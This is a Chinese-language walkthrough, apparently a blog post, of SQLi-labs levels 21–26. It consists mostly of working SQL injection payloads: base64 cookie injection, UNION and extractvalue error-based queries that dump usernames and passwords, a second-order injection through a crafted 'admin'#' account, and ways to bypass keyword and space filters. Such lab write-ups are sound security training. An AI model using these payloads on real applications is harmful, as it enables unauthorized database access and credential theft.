Less-21

先登进去看看,用户名admin,密码admin
25

根据前面的经验,我们尝试抓包看看
26

注意到有个cookie,并且经过了base64编码,于是猜测可能是cookie注入,但要base64编码,构造admin'(YWRtaW4n)
27

可以看到报错了,报错信息为:'admin'') LIMIT 0,1,其中有一个单引号是我们输入的,所以可以看出闭合方式为单引号加括号,构造admin')#(YWRtaW4nKSM=)
28

可以看到恢复正常了,接下来就可以尝试联合查询了,只不过构造的语句要base64编码一下,其他的都一样
构造') union select 1,2,3#(JykgdW5pb24gc2VsZWN0IDEsMiwzIw==)
29

1,2,3都一一回显了,接下来的操作就一样了,然后查表:') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()#(JykgdW5pb24gc2VsZWN0IDEsMixncm91cF9jb25jYXQodGFibGVfbmFtZSkgZnJvbSBpbmZvcm1hdGlvbl9zY2hlbWEudGFibGVzIHdoZXJlIHRhYmxlX3NjaGVtYT1kYXRhYmFzZSgpIw==)
30

查列:') union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'#(JykgdW5pb24gc2VsZWN0IDEsMixncm91cF9jb25jYXQoY29sdW1uX25hbWUpIGZyb20gaW5mb3JtYXRpb25fc2NoZW1hLmNvbHVtbnMgd2hlcmUgdGFibGVfc2NoZW1hPWRhdGFiYXNlKCkgYW5kIHRhYmxlX25hbWU9J3VzZXJzJyM=)
31

查数据:') union select 1,2,group_concat(username,0x3a,password) from users#(JykgdW5pb24gc2VsZWN0IDEsMixncm91cF9jb25jYXQodXNlcm5hbWUsMHgzYSxwYXNzd29yZCkgZnJvbSB1c2VycyM=)
32

另外,由于报错有回显,所以报错注入也是可以的。
查数据库为例:') or extractvalue(1,concat(0x7e,database()))#(Jykgb3IgZXh0cmFjdHZhbHVlKDEsY29uY2F0KDB4N2UsZGF0YWJhc2UoKSkpIw==)
37

查表:') or extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())))#
38

Less-22

和前面一关类似,先用admin登进去,抓包
33

然后尝试单引号闭合,发现不行,换双引号,有报错回显:”admin”” LIMIT 0,1
34

构造" union select 1,2,3#(IiB1bmlvbiBzZWxlY3QgMSwyLDMj)
35

接下来和前面一样,查表:" union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()#(IiB1bmlvbiBzZWxlY3QgMSwyLGdyb3VwX2NvbmNhdCh0YWJsZV9uYW1lKSBmcm9tIGluZm9ybWF0aW9uX3NjaGVtYS50YWJsZXMgd2hlcmUgdGFibGVfc2NoZW1hPWRhdGFiYXNlKCkj)
查列:" union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'#(IiB1bmlvbiBzZWxlY3QgMSwyLGdyb3VwX2NvbmNhdChjb2x1bW5fbmFtZSkgZnJvbSBpbmZvcm1hdGlvbl9zY2hlbWEuY29sdW1ucyB3aGVyZSB0YWJsZV9zY2hlbWE9ZGF0YWJhc2UoKSBhbmQgdGFibGVfbmFtZT0ndXNlcnMnIw==)
查数据:" union select 1,2,group_concat(username,0x3a,password) from users#(IiB1bmlvbiBzZWxlY3QgMSwyLGdyb3VwX2NvbmNhdCh1c2VybmFtZSwweDNhLHBhc3N3b3JkKSBmcm9tIHVzZXJzIw==)
36

Less-23

方法一:
提交1,回显正常。加个单引号,有报错。
1

报错信息为:'1'' LIMIT 0,1,因此可判断为字符型。加注释符%23,还是报错,且报错信息一样,看不出啥,那构造:1'"%23a
2

报错信息为:"a' LIMIT 0,1,可以看到双引号和a之间的#没了,说明被过滤了。换—+试试,发现也被过滤。
可猜测sql语句为:select * from users where id=' '。为了使引号闭合,接下来构造:' = '进行尝试。
3

成功登录,说明思路没问题。然后构造:' or 1 or ',发现也没问题,那么中间那个1的位置就是我们可以自由发挥的地方。利用报错注入,看数据库:' or extractvalue(1,concat(0x7e,(select database()))) or '
4

成功看到当前数据库,接下来不一一演示,原理同前20关。
方法二:
本题还有一种思路,就是利用联合查询,构造:' union select 1,2,3 or '
5

可以看到显示位为2,1,然后就和前20关一样了。看个数据库名作为演示:' union select 1,database(),3 or '
6

方法三:
注释符除了—+%23还有;%00
构造1';%00进行测试
18

查表名:0' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database();%00
19

查列名:0' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name='users';%00
20

查数据:0' union select 1,group_concat(username,0x3a,password),3 from users;%00
21

Less-24

熟悉了业务逻辑发现有登录和注册两个功能,并且登进去之后可以改密码。盲猜会有个admin的账号,所以注册一个admin’#的账号,密码是123456。然后登录,把密码改为123(此时数据库里有个admin账户并且密码是admin)
22

修改成功(此时真的是修改admin’#的密码吗,其实此时admin’#的密码并没有变,admin的密码反倒变成了123)
23

然后我们以admin为账户123为密码尝试登录
24

发现登录成功,amazing!
解析:
这就是二次注入,它的原理是:

(1)后端(PHP)代码对语句进行了转义
(2)保存进数据库(mysql)时没有转义,是原语句

简而言之就是数据库对自己存储的数据非常放心,而用户恰恰向数据库插入了恶意语句。
比如前面所注册的admin’#账号,在注册时,后端对其进行了转义( addslashes() 或者mysql_real_escape_string和mysql_escape_string 等),’#被转义成了其他的东西,所以一次注入无效。
但是在保存进数据库的时候,还是admin’#。
那么修改密码时的语句如下:
update users set password='123' where username='admin '#'
所以你以为修改的是admin ‘#的账号,但是数据库理解成要修改密码的账号是admin。

原文链接:https://blog.csdn.net/weixin_45663905/article/details/107684251

Less-25

根据提示,所有and和or都被过滤了。先提交1’
7

报错信息为:’1’’ LIMIT 0,1,判断为字符型,然后加注释符—+,回显正常,下面利用报错注入
构造1' and 1--+
8

根据回显,and确实被过滤了,然后试试or,发现也一样,且不区分大小写。
补充一个知识点:||等价于or,&&等价于and。
再次尝试:1' || 1--+
9

可以看到正常登录,说明思路没问题,接下来就可以报错注入了,看个当前数据库:1' || extractvalue(1,concat(0x7e,database()))--+
10

成功爆出数据库,后面的操作和以前一样。
此外这里or还可以双写绕过,即oorr,中间那个or被替换为空后,剩下的正好也是or,以此达到绕过目的。
还有一种解法就是用联合查询注入,因为联合查询注入可以不用and和or。看数据库:-1' union select 1,2,database()--+
11

后面原理和前20关一致。

Less-25a

和前一关类似,构造1%23
39

发现可以,然后尝试单引号,结果不行;再尝试双引号,结果也不行,说明就是数字型的,剩下的和前面一关就一摸一样了,双写和||都可以绕过
构造:0 union select 1,2,3%23
40

后面的就不多赘述了

Less-26

id=1’报错
12

可以看出是单引号字符型,然后加注释符%23或者—+
13

可以看出夹在两个a中间的注释符被过滤了,于是换个思路,构造:1' or 2 or '
14

仍然报错,且报错信息里是2单引号,说明or被过滤了,空格也被过滤了(再尝试一下你会发现and也被过滤了),为了验证,我们在2后面加很多空格,看到的报错里仍没有空格,说明空格确实被过滤了。根据前面or可由||代替。
这里补充空格绕过方法:

%09 TAB键(水平)
%0a 新建一行
%0c 新的一页
%0d return功能
%0b TAB键(垂直)
%a0 空格
/**/ 代替空格

有了上述神兵利器,我很快就被打脸,没有一个能行,最后查到说是因为window下apache解析的问题。
这里还有一种绕过方式就是利用括号将关键字都包起来,实现空格的效果,鉴于此题的特殊性,这里用报错注入
看表名:1'||extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema)=database())))||'。注意:为了避免information中的or被过滤,这里的or需要双写成oorr
15

看列名:1'||extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_schema)=(database())anandd(table_name)='users')))||'
16

看数据:1'||extractvalue(1,concat(0x7e,(select(substr((group_concat(username,passwoorrd)),1,32))from(users))))||'
17

注意password中的or也需要双写